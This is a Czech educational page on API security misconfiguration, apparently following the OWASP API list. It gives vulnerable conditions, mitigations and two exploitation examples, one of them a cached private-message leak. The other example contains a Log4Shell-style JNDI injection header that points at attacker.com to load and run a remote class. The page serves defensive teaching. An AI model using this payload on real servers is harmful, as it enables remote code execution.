Chybné nastavení zabezpečení
- API je zranitelné, pokud
- chybí bezpečnostní API hardening,
- mají cloudové služby nesprávně nakonfigurované oprávnění,
- chybí bezpečnostní záplaty nebo je systém zastaralý,
- jsou povoleny nepotřebné funkce,
- jsou nesrovnalosti ve způsobu, jakým servery zpracovávají požadavky,
- není nastavené TLS,
- nejsou bezpečnostní nebo cache direktivy posílány na klienta,
- chybí nebo je špatně nastavený CORS,
- error zprávy obsahují stack trace nebo zveřejňují citlivé informace.
Jak zranitelnosti přecházet
🔴 Zaveďte API hardening proces pro rychlé a snadné nasazení uzamčeného prostředí.
🔴 Pravidelně kontrolujte a aktualizujte konfiguraci.
- Kontrolujte orchestrační soubory, API komponenty, cloudové služby.
🔴 Automatizujte proces pro hodnocení účinnosti konfigurace a nastavte ho na všech prostředích.
🔴 Použijte šifrovaný komunikační kanál (TLS) nezávisle na tom, zda jde o interní nebo veřejnou komunikaci.
🔴 Specifikujte, jaké API metody budou dostupné, a ostatní zakažte.
🔴 Implementujte CORS.
🔴 Posílejte bezpečnostní hlavičky v odpovědi.
🔴 Omezte příchozí content type / data formát pro danou logiku.
🔴 Zajistěte, aby všechny servery (load balancer, proxy, backend…) zpracovávaly požadavky jednotným způsobem.
🔴 Definujte a vyžadujte kontrolu schématu API odpovědi včetně error zpráv, které nesmí obsahovat stack trace a jiné citlivé informace.
Příklady zneužití zranitelnosti
-
API loguje příchozí požadavky.
- Logovací knihovna podporuje placeholder expansion a JNDI lookups, které jsou ve výchozím nastavení povoleny.
- Útočník zneužije toto chování následujícím požadavkem:
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}- Kvůli nezabezpečené konfiguraci a síťovému nastavení nástroj spustí objekt
Malicious.class
ze vzdáleného serveru útočníka.
-
Sociální síť poskytuje funkci privátních konverzací.
- K zobrazení historie zpráv se používá následující endpoint:
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
- Vzhledem k tomu, že API odpověď neobsahuje cache-control hlavičku, bude se konverzace cachovat v prohlížeči.
- Díky tomu si může útočník přečíst soukromé zprávy na veřejném počítači v knihovně, protože jsou uloženy na filesystému.